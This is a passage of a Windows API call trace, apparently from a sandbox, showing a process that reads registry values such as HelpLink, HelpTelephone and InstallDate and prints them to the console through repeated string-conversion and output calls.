(_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.069] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.069] _fileno (_File=0x7fefd702ab0) returned 1 [0150.069] _errno () returned 0x204bb0 [0150.069] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.070] _errno () returned 0x204bb0 [0150.070] GetFileType (hFile=0x50) returned 0x1 [0150.070] lstrlenW (lpString=" ") returned 4 [0150.070] GetConsoleOutputCP () returned 0x1b5 [0150.070] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.070] GetConsoleOutputCP () returned 0x1b5 [0150.070] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.070] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.070] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.070] lstrlenW (lpString="HelpLink") returned 8 [0150.070] __iob_func () returned 0x7fefd702a80 [0150.070] _fileno (_File=0x7fefd702ab0) returned 1 [0150.070] _errno () returned 0x204bb0 [0150.070] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.070] _errno () returned 0x204bb0 [0150.070] GetFileType (hFile=0x50) returned 0x1 [0150.070] lstrlenW (lpString="HelpLink") returned 8 [0150.070] GetConsoleOutputCP () returned 0x1b5 [0150.070] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.070] GetConsoleOutputCP () returned 0x1b5 [0150.071] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0150.071] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.071] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.071] __iob_func () returned 0x7fefd702a80 [0150.071] _fileno (_File=0x7fefd702ab0) returned 1 [0150.071] _errno () returned 0x204bb0 [0150.071] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.071] _errno () returned 0x204bb0 [0150.071] GetFileType (hFile=0x50) returned 0x1 [0150.071] lstrlenW (lpString=" ") returned 4 [0150.071] GetConsoleOutputCP () returned 0x1b5 [0150.071] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.071] GetConsoleOutputCP () returned 0x1b5 [0150.071] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.071] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.071] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.071] __iob_func () returned 0x7fefd702a80 [0150.071] _fileno (_File=0x7fefd702ab0) returned 1 [0150.071] _errno () returned 0x204bb0 [0150.071] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.071] _errno () returned 0x204bb0 [0150.071] GetFileType (hFile=0x50) returned 0x1 [0150.071] lstrlenW (lpString="REG_SZ") returned 6 [0150.071] GetConsoleOutputCP () returned 0x1b5 [0150.072] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.072] GetConsoleOutputCP () returned 0x1b5 [0150.072] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.072] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.072] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.072] __iob_func () returned 0x7fefd702a80 [0150.072] _fileno (_File=0x7fefd702ab0) returned 1 [0150.072] _errno () returned 0x204bb0 [0150.072] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.072] _errno () returned 0x204bb0 [0150.072] GetFileType (hFile=0x50) returned 0x1 [0150.072] lstrlenW (lpString=" ") returned 4 [0150.072] GetConsoleOutputCP () returned 0x1b5 [0150.072] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.072] GetConsoleOutputCP () returned 0x1b5 [0150.072] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.072] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.072] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.072] __iob_func () returned 0x7fefd702a80 [0150.072] _fileno (_File=0x7fefd702ab0) returned 1 [0150.072] _errno () returned 0x204bb0 [0150.072] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.073] _errno () returned 0x204bb0 [0150.073] GetFileType (hFile=0x50) returned 0x1 [0150.073] lstrlenW (lpString="") returned 0 [0150.073] __iob_func () returned 0x7fefd702a80 [0150.073] _fileno (_File=0x7fefd702ab0) returned 1 [0150.073] _errno () returned 0x204bb0 [0150.073] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.073] _errno () returned 0x204bb0 [0150.073] GetFileType (hFile=0x50) returned 0x1 [0150.073] lstrlenW (lpString="\n") returned 1 [0150.073] GetConsoleOutputCP () returned 0x1b5 [0150.073] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.073] GetConsoleOutputCP () returned 0x1b5 [0150.073] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.073] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.073] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.073] GetProcessHeap () returned 0x3c0000 [0150.073] GetProcessHeap () returned 0x3c0000 [0150.073] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.073] GetProcessHeap () returned 0x3c0000 [0150.073] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.073] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.073] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.073] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.073] GetProcessHeap () returned 0x3c0000 [0150.074] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.074] GetProcessHeap () returned 0x3c0000 [0150.074] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.074] GetProcessHeap () returned 0x3c0000 [0150.074] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.074] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.074] __iob_func () returned 0x7fefd702a80 [0150.074] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.074] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.074] _fileno (_File=0x7fefd702ab0) returned 1 [0150.074] _errno () returned 0x204bb0 [0150.074] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.074] _errno () returned 0x204bb0 [0150.074] GetFileType (hFile=0x50) returned 0x1 [0150.074] lstrlenW (lpString=" ") returned 4 [0150.074] GetConsoleOutputCP () returned 0x1b5 [0150.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.074] GetConsoleOutputCP () returned 0x1b5 [0150.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.074] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.074] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.074] lstrlenW (lpString="HelpTelephone") returned 13 [0150.074] __iob_func () returned 0x7fefd702a80 [0150.074] _fileno (_File=0x7fefd702ab0) returned 1 [0150.074] _errno () returned 0x204bb0 [0150.074] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.074] _errno () returned 0x204bb0 [0150.074] GetFileType (hFile=0x50) returned 0x1 [0150.075] lstrlenW (lpString="HelpTelephone") returned 13 [0150.075] GetConsoleOutputCP () returned 0x1b5 [0150.075] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.075] GetConsoleOutputCP () returned 0x1b5 [0150.075] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0150.075] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.075] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.075] __iob_func () returned 0x7fefd702a80 [0150.075] _fileno (_File=0x7fefd702ab0) returned 1 [0150.075] _errno () returned 0x204bb0 [0150.075] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.075] _errno () returned 0x204bb0 [0150.075] GetFileType (hFile=0x50) returned 0x1 [0150.075] lstrlenW (lpString=" ") returned 4 [0150.075] GetConsoleOutputCP () returned 0x1b5 [0150.075] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.075] GetConsoleOutputCP () returned 0x1b5 [0150.075] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.075] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.076] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.076] __iob_func () returned 0x7fefd702a80 [0150.076] _fileno (_File=0x7fefd702ab0) returned 1 [0150.076] _errno () returned 0x204bb0 [0150.076] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.076] _errno () returned 0x204bb0 [0150.076] GetFileType (hFile=0x50) returned 0x1 [0150.076] lstrlenW (lpString="REG_SZ") returned 6 [0150.076] GetConsoleOutputCP () returned 0x1b5 [0150.076] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.076] GetConsoleOutputCP () returned 0x1b5 [0150.076] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.076] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.076] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.076] __iob_func () returned 0x7fefd702a80 [0150.076] _fileno (_File=0x7fefd702ab0) returned 1 [0150.076] _errno () returned 0x204bb0 [0150.076] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.076] _errno () returned 0x204bb0 [0150.076] GetFileType (hFile=0x50) returned 0x1 [0150.076] lstrlenW (lpString=" ") returned 4 [0150.076] GetConsoleOutputCP () returned 0x1b5 [0150.076] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.077] GetConsoleOutputCP () returned 0x1b5 [0150.077] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.077] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.077] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.077] __iob_func () returned 0x7fefd702a80 [0150.077] _fileno (_File=0x7fefd702ab0) returned 1 [0150.077] _errno () returned 0x204bb0 [0150.077] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.077] _errno () returned 0x204bb0 [0150.077] GetFileType (hFile=0x50) returned 0x1 [0150.077] lstrlenW (lpString="") returned 0 [0150.077] __iob_func () returned 0x7fefd702a80 [0150.077] _fileno (_File=0x7fefd702ab0) returned 1 [0150.077] _errno () returned 0x204bb0 [0150.077] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.077] _errno () returned 0x204bb0 [0150.077] GetFileType (hFile=0x50) returned 0x1 [0150.077] lstrlenW (lpString="\n") returned 1 [0150.077] GetConsoleOutputCP () returned 0x1b5 [0150.077] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.077] GetConsoleOutputCP () returned 0x1b5 [0150.077] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.077] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.077] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.078] GetProcessHeap () returned 0x3c0000 [0150.078] GetProcessHeap () returned 0x3c0000 [0150.078] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.078] GetProcessHeap () returned 0x3c0000 [0150.078] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.078] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.078] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.078] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x14) returned 0x0 [0150.078] GetProcessHeap () returned 0x3c0000 [0150.078] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x16) returned 0x3df290 [0150.078] GetProcessHeap () returned 0x3c0000 [0150.078] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0150.078] GetProcessHeap () returned 0x3c0000 [0150.078] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0150.078] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x14 | out: pdwType=0x29f700*=0x1, pvData="20170630", pcbData=0x29f780*=0x12) returned 0x0 [0150.078] __iob_func () returned 0x7fefd702a80 [0150.078] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.078] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.078] _fileno (_File=0x7fefd702ab0) returned 1 [0150.078] _errno () returned 0x204bb0 [0150.078] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.078] _errno () returned 0x204bb0 [0150.078] GetFileType (hFile=0x50) returned 0x1 [0150.078] lstrlenW (lpString=" ") returned 4 [0150.078] GetConsoleOutputCP () returned 0x1b5 [0150.078] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.078] GetConsoleOutputCP () returned 0x1b5 [0150.079] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.079] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.079] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.079] lstrlenW (lpString="InstallDate") returned 11 [0150.079] __iob_func () returned 0x7fefd702a80 [0150.079] _fileno (_File=0x7fefd702ab0) returned 1 [0150.079] _errno () returned 0x204bb0 [0150.079] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.079] _errno () returned 0x204bb0 [0150.079] GetFileType (hFile=0x50) returned 0x1 [0150.079] lstrlenW (lpString="InstallDate") returned 11 [0150.079] GetConsoleOutputCP () returned 0x1b5 [0150.079] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.079] GetConsoleOutputCP () returned 0x1b5 [0150.079] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0150.079] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0150.079] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.079] __iob_func () returned 0x7fefd702a80 [0150.079] _fileno (_File=0x7fefd702ab0) returned 1 [0150.079] _errno () returned 0x204bb0 [0150.079] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.079] _errno () returned 0x204bb0 [0150.080] GetFileType (hFile=0x50) returned 0x1 [0150.080] lstrlenW (lpString=" ") returned 4 [0150.080] GetConsoleOutputCP () returned 0x1b5 [0150.080] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.080] GetConsoleOutputCP () returned 0x1b5 [0150.080] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.080] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.080] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.080] __iob_func () returned 0x7fefd702a80 [0150.080] _fileno (_File=0x7fefd702ab0) returned 1 [0150.080] _errno () returned 0x204bb0 [0150.080] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.080] _errno () returned 0x204bb0 [0150.080] GetFileType (hFile=0x50) returned 0x1 [0150.080] lstrlenW (lpString="REG_SZ") returned 6 [0150.080] GetConsoleOutputCP () returned 0x1b5 [0150.080] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.080] GetConsoleOutputCP () returned 0x1b5 [0150.080] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.080] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.081] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.081] __iob_func () returned 0x7fefd702a80 [0150.081] _fileno (_File=0x7fefd702ab0) returned 1 [0150.081] _errno () returned 0x204bb0 [0150.081] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.081] _errno () returned 0x204bb0 [0150.081] GetFileType (hFile=0x50) returned 0x1 [0150.081] lstrlenW (lpString=" ") returned 4 [0150.081] GetConsoleOutputCP () returned 0x1b5 [0150.081] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.081] GetConsoleOutputCP () returned 0x1b5 [0150.081] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.081] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.081] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.081] __iob_func () returned 0x7fefd702a80 [0150.081] _fileno (_File=0x7fefd702ab0) returned 1 [0150.081] _errno () returned 0x204bb0 [0150.081] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.081] _errno () returned 0x204bb0 [0150.081] GetFileType (hFile=0x50) returned 0x1 [0150.081] lstrlenW (lpString="20170630") returned 8 [0150.082] GetConsoleOutputCP () returned 0x1b5 [0150.082] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.082] GetConsoleOutputCP () returned 0x1b5 [0150.082] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170630", lpUsedDefaultChar=0x0) returned 8 [0150.082] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.082] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.082] __iob_func () returned 0x7fefd702a80 [0150.082] _fileno (_File=0x7fefd702ab0) returned 1 [0150.082] _errno () returned 0x204bb0 [0150.082] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.082] _errno () returned 0x204bb0 [0150.082] GetFileType (hFile=0x50) returned 0x1 [0150.082] lstrlenW (lpString="\n") returned 1 [0150.082] GetConsoleOutputCP () returned 0x1b5 [0150.082] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.082] GetConsoleOutputCP () returned 0x1b5 [0150.082] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.082] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.082] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.083] GetProcessHeap () returned 